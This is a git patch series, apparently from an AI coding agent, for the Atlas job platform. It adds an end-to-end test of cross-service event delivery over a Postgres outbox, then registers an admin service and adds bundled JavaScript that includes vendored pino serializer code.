2305affd6e6946ff534b83920dbdc2a52d6d2c72 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:44:51 +0000 Subject: [PATCH 22/91] test(messaging): cross-service events end to end over the postgres driver Drives the real profile, jobs, applications, matching, referrals, learning and analytics apps as separate "functions" (own pool and broker each) over one database. Events published by profile/jobs/applications reach the consumers only through their /internal//drain, exactly as Vercel Cron calls them: job_scores are computed, GET /v1/jobs/recommendations returns them, referral.detected is published for application.created, and analytics records the whole chain, including for consumers that had never run when the events were published. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/messaging/test/cross-service.test.ts | 587 ++++++++++++++++++ 1 file changed, 587 insertions(+) create mode 100644 packages/messaging/test/cross-service.test.ts diff --git a/packages/messaging/test/cross-service.test.ts b/packages/messaging/test/cross-service.test.ts new file mode 100644 index 0000000..da4271c --- /dev/null +++ b/packages/messaging/test/cross-service.test.ts @@ -0,0 +1,587 @@ +/** + * Cross-service events over the `postgres` messaging driver. + * + * Every service below is a separate "function": its own app, its own database + * pool and its own broker instance, sharing nothing in memory with the others + * — which is the situation on Vercel and exactly what the in-memory driver + * cannot model. The services are driven only through their HTTP surface + * (profile upload, job ingest, application creation, `/internal/drain`, the + * recommendations endpoint); the only thing connecting them is the outbox in + * the shared database. + * + * It reaches into services/* because this is the one place that can see both + * sides of an event; production code never imports across services. + * + * The test uses the real tables and the real consumer names, so it must not + * run while another process drains the same database's outbox. DB-backed + * tests self-skip when ATLAS_TEST_DATABASE_URL is unset (see .env.example). + */ +import { randomUUID } from 'node:crypto'; +import { mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { exportJWK, generateKeyPair, SignJWT } from 'jose'; +import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createStorage } from '@atlas/storage'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp as buildAnalyticsApp } from '../../../services/analytics/src/app.js'; +import { loadAnalyticsServiceEnv } from '../../../services/analytics/src/env.js'; +import { registerConsumers as registerAnalyticsConsumers } from '../../../services/analytics/src/worker.js'; +import { buildApp as buildApplicationsApp } from '../../../services/applications/src/app.js'; +import { loadApplicationsServiceEnv } from '../../../services/applications/src/env.js'; +import { buildApp as buildJobsApp } from '../../../services/jobs/src/app.js'; +import { loadJobsServiceEnv } from '../../../services/jobs/src/env.js'; +import { buildApp as buildLearningApp } from '../../../services/learning/src/app.js'; +import { loadLearningServiceEnv } from '../../../services/learning/src/env.js'; +import { registerConsumers as registerLearningConsumers } from '../../../services/learning/src/worker.js'; +import { buildApp as buildMatchingApp } from '../../../services/matching/src/app.js'; +import { loadMatchingServiceEnv } from '../../../services/matching/src/env.js'; +import { registerConsumers as registerMatchingConsumers } from '../../../services/matching/src/worker.js'; +import { buildApp as buildProfileApp } from '../../../services/profile/src/app.js'; +import { loadProfileServiceEnv } from '../../../services/profile/src/env.js'; +import { buildApp as buildReferralsApp } from '../../../services/referrals/src/app.js'; +import { loadReferralsServiceEnv } from '../../../services/referrals/src/env.js'; +import { registerConsumers as registerReferralsConsumers } from '../../../services/referrals/src/worker.js'; +import { createBroker, type EventBroker, type Subscription } from '../src/index.js'; + +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +const SUPABASE_URL = 'https://test-project.supabase.co'; +const CRON_SECRET = 'cross-service-cron-secret-0123456789'; + +/** The consumers this test drives; their registry rows are reset around it. */ +const CONSUMERS = [ + 'matching-service.resume-parsed', + 'matching-service.job-discovered', + 'referrals-service.application-created', + 'learning-service.application-created', + 'analytics-service.event-recorder', +]; + +type SignClaims = { sub: string; role: string | null; email: string }; +let signTestToken: (claims: SignClaims) => Promise; + +// createRemoteJWKSet fetches over HTTP — serve a locally generated key instead. +async function stubJwks(): Promise { + const { publicKey, privateKey } = await generateKeyPair('ES256'); + const jwk = await exportJWK(publicKey); + jwk.kid = 'test-key'; + jwk.alg = 'ES256'; + jwk.use = 'sig'; + vi.stubGlobal( + 'fetch', + async () => + new Response(JSON.stringify({ keys: [jwk] }), { + status: 200, + headers: { 'content-type': 'application/json' }, + }), + ); + + signTestToken = async (claims) => + new SignJWT({ + session_id: randomUUID(), + email: claims.email, + app_metadata: { org_id: null, role: claims.role }, + }) + .setProtectedHeader({ alg: 'ES256', kid: 'test-key' }) + .setSubject(claims.sub) + .setIssuer(`${SUPABASE_URL}/auth/v1`) + .setAudience('authenticated') + .setIssuedAt() + .setExpirationTime(Math.floor(Date.now() / 1000) + 900) + .sign(privateKey); +} + +function multipartResume(boundary: string, filename: string, text: string): Buffer { + const CRLF = '\r\n'; + return Buffer.concat([ + Buffer.from( + `--${boundary}${CRLF}Content-Disposition: form-data; name="file"; filename="${filename}"${CRLF}` + + `Content-Type: text/plain${CRLF}${CRLF}`, + 'utf8', + ), + Buffer.from(text, 'utf8'), + Buffer.from(`${CRLF}--${boundary}--${CRLF}`, 'utf8'), + ]); +} + +const logger = createSilentLogger(); + +describe.skipIf(!testDatabaseUrl)('cross-service events over the postgres driver', () => { + const handles: DatabaseHandle[] = []; + const brokers: EventBroker[] = []; + const subscriptions: Subscription[] = []; + const apps: Array<{ close: () => Promise }> = []; + let storageRoot: string; + + /** A function's own pool and broker, built the way each service's index.ts builds them. */ + function openFunction(env: { + DATABASE_URL: string; + MESSAGING_DRIVER: 'memory' | 'rabbitmq' | 'postgres'; + RABBITMQ_URL?: string | undefined; + MESSAGING_EXCHANGE: string; + MESSAGING_MAX_RETRIES: number; + }) { + const handle = createDatabase({ url: env.DATABASE_URL, maxConnections: 4 }); + handles.push(handle); + const broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + db: handle.db, + logger, + }); + brokers.push(broker); + return { handle, broker }; + } + + const common = { + DATABASE_URL: testDatabaseUrl as string, + MESSAGING_DRIVER: 'postgres', + SUPABASE_URL, + CRON_SECRET, + LOG_LEVEL: 'fatal', + }; + + // Seeded identities and the ids the flow produces. + const userId = randomUUID(); + const email = `cross-service-${userId}@example.com`; + const companyName = `Cross Service Co ${randomUUID().slice(0, 8)}`; + let memberToken: string; + let adminToken: string; + let resumeId: string; + let jobId: string; + let companyId: string; + let applicationId: string; + let contactId: string; + + let admin: DatabaseHandle; + let profile: ReturnType; + let jobs: ReturnType; + let applications: ReturnType; + let matching: ReturnType; + let referrals: ReturnType; + let learning: ReturnType; + let analytics: ReturnType; + + async function resetConsumerRegistry(): Promise { + await admin.sql`delete from event_consumers where consumer in ${admin.sql(CONSUMERS)}`; + } + + async function ownEvents(eventType?: string) { + return admin.sql<{ event_id: string; trace_id: string; payload: Record }[]>` + select event_id, trace_id, payload from event_outbox + where user_id = ${userId} ${eventType === undefined ? admin.sql`` : admin.sql`and event_type = ${eventType}`} + order by created_at`; + } + + async function deliveryStatuses(eventId: string): Promise> { + const rows = await admin.sql<{ consumer: string; status: string }[]>` + select consumer, status from event_deliveries where event_id = ${eventId}`; + return Object.fromEntries(rows.map((row) => [row.consumer, row.status])); + } + + const bearerSecret = { authorization: `Bearer ${CRON_SECRET}` }; + + /** What Vercel Cron does: a GET to the service's own drain path, carrying the bearer secret. */ + const cronDrain = (app: typeof matching, service: string) => + app.inject({ + method: 'GET', + url: `/internal/${service}/drain`, + headers: bearerSecret, + }); + + beforeAll(async () => { + await stubJwks(); + admin = createDatabase({ url: testDatabaseUrl as string, maxConnections: 3 }); + handles.push(admin); + await resetConsumerRegistry(); + + // public.users.user_id FKs to auth.users.id; inserting there fires + // handle_new_user, which creates the matching public.users row itself. + await admin.sql` + insert into auth.users (id, instance_id, aud, role, email, email_confirmed_at, raw_app_meta_data, raw_user_meta_data, created_at, updated_at) + values (${userId}, '00000000-0000-0000-0000-000000000000', 'authenticated', 'authenticated', ${email}, now(), '{"provider":"email"}'::jsonb, ${JSON.stringify({ full_name: 'Cross Service User' })}::jsonb, now(), now())`; + memberToken = await signTestToken({ sub: userId, role: null, email }); + adminToken = await signTestToken({ sub: userId, role: 'admin', email }); + + storageRoot = await mkdtemp(join(tmpdir(), 'atlas-cross-service-')); + const storage = createStorage({ driver: 'local', localRoot: storageRoot }); + + // --- producer-side functions: no consumers registered -------------------- + const profileEnv = loadProfileServiceEnv({ ...common, PORT: '4002' }); + const profileFn = openFunction(profileEnv); + profile = buildProfileApp({ + db: profileFn.handle.db, + sql: profileFn.handle.sql, + env: profileEnv, + logger, + broker: profileFn.broker, + storage, + tokenVerifier: createTokenVerifierConfig(profileEnv), + }); + + const jobsEnv = loadJobsServiceEnv({ ...common, PORT: '4003' }); + const jobsFn = openFunction(jobsEnv); + jobs = buildJobsApp({ + db: jobsFn.handle.db, + sql: jobsFn.handle.sql, + env: jobsEnv, + logger, + broker: jobsFn.broker, + tokenVerifier: createTokenVerifierConfig(jobsEnv), + }); + + const applicationsEnv = loadApplicationsServiceEnv({ ...common, PORT: '4005' }); + const applicationsFn = openFunction(applicationsEnv); + applications = buildApplicationsApp({ + db: applicationsFn.handle.db, + sql: applicationsFn.handle.sql, + env: applicationsEnv, + logger, + broker: applicationsFn.broker, + tokenVerifier: createTokenVerifierConfig(applicationsEnv), + }); + + // --- consumer-side functions: handlers registered, as index.ts does ------ + const matchingEnv = loadMatchingServiceEnv({ ...common, PORT: '4004' }); + const matchingFn = openFunction(matchingEnv); + matching = buildMatchingApp({ + db: matchingFn.handle.db, + sql: matchingFn.handle.sql, + env: matchingEnv, + logger, + broker: matchingFn.broker, + }); + subscriptions.push( + ...(await registerMatchingConsumers({ + db: matchingFn.handle.db, + broker: matchingFn.broker, + logger, + })), + ); + + const referralsEnv = loadReferralsServiceEnv({ ...common, PORT: '4006' }); + const referralsFn = openFunction(referralsEnv); + referrals = buildReferralsApp({ + db: referralsFn.handle.db, + sql: referralsFn.handle.sql, + env: referralsEnv, + logger, + broker: referralsFn.broker, + tokenVerifier: createTokenVerifierConfig(referralsEnv), + }); + subscriptions.push( + ...(await registerReferralsConsumers({ + db: referralsFn.handle.db, + broker: referralsFn.broker, + logger, + })), + ); + + const learningEnv = loadLearningServiceEnv({ ...common, PORT: '4008' }); + const learningFn = openFunction(learningEnv); + learning = buildLearningApp({ + db: learningFn.handle.db, + sql: learningFn.handle.sql, + env: learningEnv, + logger, + broker: learningFn.broker, + tokenVerifier: createTokenVerifierConfig(learningEnv), + }); + subscriptions.push( + ...(await registerLearningConsumers({ + db: learningFn.handle.db, + broker: learningFn.broker, + logger, + })), + ); + + const analyticsEnv = loadAnalyticsServiceEnv({ ...common, PORT: '4009' }); + const analyticsFn = openFunction(analyticsEnv); + analytics = buildAnalyticsApp({ + db: analyticsFn.handle.db, + sql: analyticsFn.handle.sql, + env: analyticsEnv, + logger, + broker: analyticsFn.broker, + tokenVerifier: createTokenVerifierConfig(analyticsEnv), + }); + subscriptions.push( + ...(await registerAnalyticsConsumers({ + db: analyticsFn.handle.db, + broker: analyticsFn.broker, + logger, + })), + ); + + for (const app of [profile, jobs, applications, matching, referrals, learning, analytics]) { + apps.push(app); + await app.ready(); + } + }); + + afterAll(async () => { + if (admin) { + // Everything this run published carries the test user in its trace. + const events = await admin.sql<{ event_id: string; trace_id: string }[]>` + select event_id, trace_id from event_outbox where user_id = ${userId}`; + const eventIds = events.map((event) => event.event_id); + const traceIds = [...new Set(events.map((event) => event.trace_id))]; + if (eventIds.length > 0) { + await admin.sql`delete from processed_events where event_id in ${admin.sql(eventIds)}`; + await admin.sql`delete from analytics_events where trace_id in ${admin.sql(traceIds)}`; + await admin.sql`delete from event_outbox where event_id in ${admin.sql(eventIds)}`; + } + await resetConsumerRegistry(); + await admin.sql`delete from applications where user_id = ${userId}`; + await admin.sql`delete from job_scores where user_id = ${userId}`; + if (companyId) { + await admin.sql`delete from contacts where company_id = ${companyId}`; + await admin.sql`delete from jobs where company_id = ${companyId}`; + await admin.sql`delete from companies where company_id = ${companyId}`; + } + await admin.sql`delete from resumes where user_id = ${userId}`; + // Cascades to public.users via the auth.users FK. + await admin.sql`delete from auth.users where id = ${userId}`; + } + await Promise.all(subscriptions.map((subscription) => subscription.stop())); + await Promise.all(apps.map((app) => app.close())); + await Promise.all(brokers.map((broker) => broker.close())); + await Promise.all(handles.map((handle) => handle.close())); + if (storageRoot) await rm(storageRoot, { recursive: true, force: true }); + vi.unstubAllGlobals(); + }); + + it('publishes resume.parsed from the profile function and nothing reaches a consumer yet', async () => { + const resumeText = [ + 'Ada Lovelace', + '', + 'Summary', + 'Backend engineer with a focus on distributed systems.', + '', + 'Experience', + 'Staff Engineer, Analytical Engines Inc', + 'Jan 2021 - Present', + '- Cut P99 latency by 40% via a queue-based rewrite', + '', + 'Skills', + 'TypeScript, PostgreSQL, Docker', + ].join('\n'); + const boundary = 'cross-service-boundary'; + + const response = await profile.inject({ + method: 'POST', + url: '/v1/resumes', + headers: { + authorization: `Bearer ${memberToken}`, + 'content-type': `multipart/form-data; boundary=${boundary}`, + }, + payload: multipartResume(boundary, 'resume.txt', resumeText), + }); + expect(response.statusCode).toBe(201); + expect(response.json().status).toBe('parsed'); + resumeId = response.json().resume_id; + + const events = await ownEvents('resume.parsed'); + expect(events).toHaveLength(1); + expect(events[0]?.payload).toMatchObject({ resume_id: resumeId, user_id: userId }); + // Durable, but the matching function has never run: no delivery exists yet. + expect(await deliveryStatuses(events[0]?.event_id as string)).toEqual({}); + }); + + it('publishes job.discovered from the jobs function', async () => { + const response = await jobs.inject({ + method: 'POST', + url: '/v1/jobs/ingest', + headers: { authorization: `Bearer ${adminToken}` }, + payload: { + postings: [ + { + source: 'manual', + external_id: `cross-service-${randomUUID()}`, + title: 'Staff Backend Engineer', + company_name: companyName, + description: + 'Build distributed systems in TypeScript on PostgreSQL, shipped with Docker.', + remote_type: 'Fully Remote', + employment_type: 'Full-time', + apply_url: 'https://example.com/apply/cross-service', + location: 'Remote', + }, + ], + }, + }); + expect(response.statusCode).toBe(200); + expect(response.json().inserted).toBe(1); + + const events = await ownEvents('job.discovered'); + expect(events).toHaveLength(1); + jobId = (events[0]?.payload as { job_id: string }).job_id; + companyId = (events[0]?.payload as { company_id: string }).company_id; + expect(await deliveryStatuses(events[0]?.event_id as string)).toEqual({}); + + // Nothing has been scored, so the user has no recommendations yet. + const recommendations = await jobs.inject({ + method: 'GET', + url: `/v1/jobs/recommendations?user_id=${userId}`, + headers: { authorization: `Bearer ${memberToken}` }, + }); + expect(recommendations.statusCode).toBe(200); + expect(recommendations.json().items).toEqual([]); + }); + + it('refuses to drain matching without the cron secret, and scores nothing', async () => { + for (const headers of [{}, { authorization: 'Bearer wrong-secret-wrong-secret' }]) { + const response = await matching.inject({ method: 'POST', url: '/internal/drain', headers }); + expect(response.statusCode).toBe(401); + } + const scores = await admin.sql`select 1 from job_scores where user_id = ${userId}`; + expect(scores).toHaveLength(0); + }); + + it("scores the job and serves recommendations once matching's drain runs, though matching never ran before", async () => { + const response = await cronDrain(matching, 'matching'); + expect(response.statusCode).toBe(200); + expect(response.json().processed).toBeGreaterThanOrEqual(2); + + // job_scores was written by a function that did not publish either event. + const scores = await admin.sql<{ score: number; model_version: string }[]>` + select score, model_version from job_scores where user_id = ${userId} and job_id = ${jobId}`; + expect(scores).toHaveLength(1); + expect(scores[0]?.score).toBeGreaterThan(0); + + const recommendations = await jobs.inject({ + method: 'GET', + url: `/v1/jobs/recommendations?user_id=${userId}`, + headers: { authorization: `Bearer ${memberToken}` }, + }); + expect(recommendations.statusCode).toBe(200); + const items = recommendations.json().items as Array<{ job: { job_id: string }; score: number }>; + expect(items.map((item) => item.job.job_id)).toEqual([jobId]); + expect(items[0]?.score).toBe(scores[0]?.score); + + // Both triggering deliveries are settled, and matching published job.scored in turn. + const resumeEvent = (await ownEvents('resume.parsed'))[0]; + const jobEvent = (await ownEvents('job.discovered'))[0]; + expect(await deliveryStatuses(resumeEvent?.event_id as string)).toEqual({ + 'matching-service.resume-parsed': 'done', + }); + expect(await deliveryStatuses(jobEvent?.event_id as string)).toEqual({ + 'matching-service.job-discovered': 'done', + }); + expect((await ownEvents('job.scored')).length).toBeGreaterThanOrEqual(1); + }); + + it('is idempotent: draining again does nothing, and a redelivered event rescoring does not duplicate rows', async () => { + const again = await cronDrain(matching, 'matching'); + expect(again.statusCode).toBe(200); + expect(again.json()).toMatchObject({ processed: 0, failed: 0, dead: 0 }); + + // Simulate the at-least-once duplicate: the delivery is run a second time. + const resumeEvent = (await ownEvents('resume.parsed'))[0]; + await admin.sql`delete from processed_events where event_id = ${resumeEvent?.event_id as string}`; + await admin.sql`update event_deliveries set status = 'pending', attempts = 0, next_attempt_at = now() + where event_id = ${resumeEvent?.event_id as string}`; + const redelivered = await cronDrain(matching, 'matching'); + expect(redelivered.json().processed).toBe(1); + + const scores = + await admin.sql`select 1 from job_scores where user_id = ${userId} and job_id = ${jobId}`; + expect(scores).toHaveLength(1); + }); + + it('detects a referral and updates learning from application.created, each in its own function', async () => { + const [contact] = await admin.sql<{ contact_id: string }[]>` + insert into contacts (company_id, full_name, title, email, relevance_score, source) + values (${companyId}, 'Grace Hopper', 'Engineering Manager', ${`grace-${userId}@example.com`}, 0.8, 'manual') + returning contact_id`; + contactId = contact?.contact_id as string; + + const created = await applications.inject({ + method: 'POST', + url: '/v1/applications', + headers: { + authorization: `Bearer ${memberToken}`, + 'idempotency-key': `cross-service-${userId}`, + }, + payload: { job_id: jobId, resume_id: resumeId, mode: 'manual' }, + }); + expect(created.statusCode).toBe(201); + applicationId = created.json().application.application_id; + + const applicationEvents = await ownEvents('application.created'); + expect(applicationEvents).toHaveLength(1); + expect(applicationEvents[0]?.payload).toMatchObject({ + application_id: applicationId, + job_id: jobId, + }); + expect(await deliveryStatuses(applicationEvents[0]?.event_id as string)).toEqual({}); + + const referralDrain = await cronDrain(referrals, 'referrals'); + expect(referralDrain.statusCode).toBe(200); + expect(referralDrain.json().processed).toBeGreaterThanOrEqual(1); + const detected = await ownEvents('referral.detected'); + expect(detected).toHaveLength(1); + expect(detected[0]?.payload).toMatchObject({ + contact_id: contactId, + company_id: companyId, + user_id: userId, + relevance_score: 0.8, + }); + + const learningDrain = await cronDrain(learning, 'learning'); + expect(learningDrain.statusCode).toBe(200); + expect(learningDrain.json()).toMatchObject({ + processed: expect.any(Number), + failed: 0, + dead: 0, + }); + + expect(await deliveryStatuses(applicationEvents[0]?.event_id as string)).toEqual({ + 'referrals-service.application-created': 'done', + 'learning-service.application-created': 'done', + }); + }); + + it('records the whole chain in analytics, including events other functions published while draining', async () => { + const response = await cronDrain(analytics, 'analytics'); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ failed: 0, dead: 0 }); + + const recorded = await admin.sql<{ event_type: string }[]>` + select event_type from analytics_events + where trace_id in (select trace_id from event_outbox where user_id = ${userId})`; + const types = new Set(recorded.map((row) => row.event_type)); + for (const expected of [ + 'resume.parsed', + 'job.discovered', + 'job.scored', + 'application.created', + 'referral.detected', + ]) { + expect(types, `analytics should have recorded ${expected}`).toContain(expected); + } + + // Redelivery to analytics is absorbed by processed_events: no duplicate rows. + const before = recorded.length; + await admin.sql`update event_deliveries set status = 'pending', attempts = 0, next_attempt_at = now() + where consumer = 'analytics-service.event-recorder' + and event_id in (select event_id from event_outbox where user_id = ${userId})`; + const redelivered = await cronDrain(analytics, 'analytics'); + expect(redelivered.json()).toMatchObject({ failed: 0, dead: 0 }); + const after = await admin.sql` + select 1 from analytics_events where trace_id in (select trace_id from event_outbox where user_id = ${userId})`; + expect(after).toHaveLength(before); + }); + + it('leaves no delivery pending or dead for any event of the flow', async () => { + const unsettled = await admin.sql<{ event_type: string; consumer: string; status: string }[]>` + select o.event_type, d.consumer, d.status + from event_deliveries d join event_outbox o on o.event_id = d.event_id + where o.user_id = ${userId} and d.status <> 'done'`; + expect(unsettled).toEqual([]); + }); +}); From 2b8dc4a20c4ee28bd0fd0ab8bd1f2db6b9b9931f Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:46:40 +0000 Subject: [PATCH 23/91] chore: register admin-service in bundle, vercel.json, dev scripts Integrate the admin-service stream: add 'admin' to the bundle list, the /v1/admin/* rewrite and function entry in vercel.json, a dev:admin-service script (dev:admin remains the UI), and ADMIN_SERVICE_PORT=4011. Regenerate the committed bundles (new api/admin plus the shared @atlas/types additions). Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .env.example | 1 + api/admin/index.js | 73028 +++++++++++++++++++++++++++++++++++ api/analytics/index.js | 137 + api/applications/index.js | 137 + api/auth/index.js | 137 + api/jobs/index.js | 137 + api/learning/index.js | 137 + api/matching/index.js | 137 + api/outreach/index.js | 137 + api/profile/index.js | 137 + api/referrals/index.js | 137 + package.json | 1 + scripts/bundle-backend.mjs | 1 + vercel.json | 6 +- 14 files changed, 74268 insertions(+), 2 deletions(-) create mode 100644 api/admin/index.js diff --git a/.env.example b/.env.example index fa4e941..c475f14 100644 --- a/.env.example +++ b/.env.example @@ -55,6 +55,7 @@ OUTREACH_SERVICE_PORT=4007 LEARNING_SERVICE_PORT=4008 ANALYTICS_SERVICE_PORT=4009 CONNECTORS_SERVICE_PORT=4010 +ADMIN_SERVICE_PORT=4011 # connectors-service secret store: local (dev-only, plaintext on disk) | kms (not implemented yet) SECRET_STORE_DRIVER=local diff --git a/api/admin/index.js b/api/admin/index.js new file mode 100644 index 0000000..6beb258 --- /dev/null +++ b/api/admin/index.js @@ -0,0 +1,73028 @@ +import { createRequire as __createRequire } from 'node:module'; const require = __createRequire(import.meta.url); +var __create = Object.create; +var __defProp = Object.defineProperty; +var __getOwnPropDesc = Object.getOwnPropertyDescriptor; +var __getOwnPropNames = Object.getOwnPropertyNames; +var __getProtoOf = Object.getPrototypeOf; +var __hasOwnProp = Object.prototype.hasOwnProperty; +var __require = /* @__PURE__ */ ((x) => typeof require !== "undefined" ? require : typeof Proxy !== "undefined" ? new Proxy(x, { + get: (a, b2) => (typeof require !== "undefined" ? require : a)[b2] +}) : x)(function(x) { + if (typeof require !== "undefined") return require.apply(this, arguments); + throw Error('Dynamic require of "' + x + '" is not supported'); +}); +var __esm = (fn, res) => function __init() { + return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res; +}; +var __commonJS = (cb, mod) => function __require2() { + return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports; +}; +var __export = (target, all) => { + for (var name in all) + __defProp(target, name, { get: all[name], enumerable: true }); +}; +var __copyProps = (to, from, except2, desc2) => { + if (from && typeof from === "object" || typeof from === "function") { + for (let key of __getOwnPropNames(from)) + if (!__hasOwnProp.call(to, key) && key !== except2) + __defProp(to, key, { get: () => from[key], enumerable: !(desc2 = __getOwnPropDesc(from, key)) || desc2.enumerable }); + } + return to; +}; +var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps( + // If the importer is in node compatibility mode or this is not an ESM + // file that has been converted to a CommonJS file using a Babel- + // compatible transform (i.e. "__esModule" has not been set), then set + // "default" to the CommonJS "module.exports" for node compatibility. + isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target, + mod +)); +var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); + +// node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/err-helpers.js +var require_err_helpers = __commonJS({ + "node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/err-helpers.js"(exports, module) { + "use strict"; + var isErrorLike = (err) => { + return err && typeof err.message === "string"; + }; + var getErrorCause = (err) => { + if (!err) return; + const cause = err.cause; + if (typeof cause === "function") { + const causeResult = err.cause(); + return isErrorLike(causeResult) ? causeResult : void 0; + } else { + return isErrorLike(cause) ? cause : void 0; + } + }; + var _stackWithCauses = (err, seen) => { + if (!isErrorLike(err)) return ""; + const stack = err.stack || ""; + if (seen.has(err)) { + return stack + "\ncauses have become circular..."; + } + const cause = getErrorCause(err); + if (cause) { + seen.add(err); + return stack + "\ncaused by: " + _stackWithCauses(cause, seen); + } else { + return stack; + } + }; + var stackWithCauses = (err) => _stackWithCauses(err, /* @__PURE__ */ new Set()); + var _messageWithCauses = (err, seen, skip) => { + if (!isErrorLike(err)) return ""; + const message2 = skip ? "" : err.message || ""; + if (seen.has(err)) { + return message2 + ": ..."; + } + const cause = getErrorCause(err); + if (cause) { + seen.add(err); + const skipIfVErrorStyleCause = typeof err.cause === "function"; + return message2 + (skipIfVErrorStyleCause ? "" : ": ") + _messageWithCauses(cause, seen, skipIfVErrorStyleCause); + } else { + return message2; + } + }; + var messageWithCauses = (err) => _messageWithCauses(err, /* @__PURE__ */ new Set()); + module.exports = { + isErrorLike, + getErrorCause, + stackWithCauses, + messageWithCauses + }; + } +}); + +// node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/err-proto.js +var require_err_proto = __commonJS({ + "node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/err-proto.js"(exports, module) { + "use strict"; + var seen = Symbol("circular-ref-tag"); + var rawSymbol = Symbol("pino-raw-err-ref"); + var pinoErrProto = Object.create({}, { + type: { + enumerable: true, + writable: true, + value: void 0 + }, + message: { + enumerable: true, + writable: true, + value: void 0 + }, + stack: { + enumerable: true, + writable: true, + value: void 0 + }, + aggregateErrors: { + enumerable: true, + writable: true, + value: void 0 + }, + raw: { + enumerable: false, + get: function() { + return this[rawSymbol]; + }, + set: function(val) { + this[rawSymbol] = val; + } + } + }); + Object.defineProperty(pinoErrProto, rawSymbol, { + writable: true, + value: {} + }); + module.exports = { + pinoErrProto, + pinoErrorSymbols: { + seen, + rawSymbol + } + }; + } +}); + +// node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/err.js +var require_err = __commonJS({ + "node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/err.js"(exports, module) { + "use strict"; + module.exports = errSerializer; + var { messageWithCauses, stackWithCauses, isErrorLike } = require_err_helpers(); + var { pinoErrProto, pinoErrorSymbols } = require_err_proto(); + var { seen } = pinoErrorSymbols; + var { toString } = Object.prototype; + function errSerializer(err) { + if (!isErrorLike(err)) { + return err; + } + err[seen] = void 0; + const _err = Object.create(pinoErrProto); + _err.type = toString.call(err.constructor) === "[object Function]" ? err.constructor.name : err.name; + _err.message = messageWithCauses(err); + _err.stack = stackWithCauses(err); + if (Array.isArray(err.errors)) { + _err.aggregateErrors = err.errors.map((err2) => errSerializer(err2)); + } + for (const key in err) { + if (_err[key] === void 0) { + const val = err[key]; + if (isErrorLike(val)) { + if (key !== "cause" && !Object.prototype.hasOwnProperty.call(val, seen)) { + _err[key] = errSerializer(val); + } + } else { + _err[key] = val; + } + } + } + delete err[seen]; + _err.raw = err; + return _err; + } + } +}); + +// node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/err-with-cause.js +var require_err_with_cause = __commonJS({ + "node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/err-with-cause.js"(exports, module) { + "use strict"; + module.exports = errWithCauseSerializer; + var { isErrorLike } = require_err_helpers(); + var { pinoErrProto, pinoErrorSymbols } = require_err_proto(); + var { seen } = pinoErrorSymbols; + var { toString } = Object.prototype; + function errWithCauseSerializer(err) { + if (!isErrorLike(err)) { + return err; + } + err[seen] = void 0; + const _err = Object.create(pinoErrProto); + _err.type = toString.call(err.constructor) === "[object Function]" ? err.constructor.name : err.name; + _err.message = err.message; + _err.stack = err.stack; + if (Array.isArray(err.errors)) { + _err.aggregateErrors = err.errors.map((err2) => errWithCauseSerializer(err2)); + } + if (isErrorLike(err.cause) && !Object.prototype.hasOwnProperty.call(err.cause, seen)) { + _err.cause = errWithCauseSerializer(err.cause); + } + for (const key in err) { + if (_err[key] === void 0) { + const val = err[key]; + if (isErrorLike(val)) { + if (!Object.prototype.hasOwnProperty.call(val, seen)) { + _err[key] = errWithCauseSerializer(val); + } + } else { + _err[key] = val; + } + } + } + delete err[seen]; + _err.raw = err; + return _err; + } + } +}); + +// node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/req.js +var require_req = __commonJS({ + "node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/req.js"(exports, module) { + "use strict"; + module.exports = { + mapHttpRequest, + reqSerializer + }; + var rawSymbol = Symbol("pino-raw-req-ref"); + var pinoReqProto = Object.create({}, { + id: { + enumerable: true, + writable: true, + value: "" + }, + method: { + enumerable: true, + writable: true, + value: "" + }, + url: { + enumerable: true, + writable: true, + value: "" + }, + query: { + enumerable: true, + writable: true, + value: "" + }, + params: { + enumerable: true, + writable: true, + value: "" + }, + headers: { + enumerable: true, + writable: true, + value: {} + }, + remoteAddress: { + enumerable: true, + writable: true, + value: "" + }, + remotePort: { + enumerable: true, + writable: true, + value: "" + }, + raw: { + enumerable: false, + get: function() { + return this[rawSymbol]; + }, + set: function(val) { + this[rawSymbol] = val; + } + } + }); + Object.defineProperty(pinoReqProto, rawSymbol, { + writable: true, + value: {} + }); + function reqSerializer(req) { + const connection2 = req.info || req.socket; + const _req = Object.create(pinoReqProto); + _req.id = typeof req.id === "function" ? req.id() : req.id || (req.info ? req.info.id : void 0); + _req.method = req.method; + if (req.originalUrl) { + _req.url = 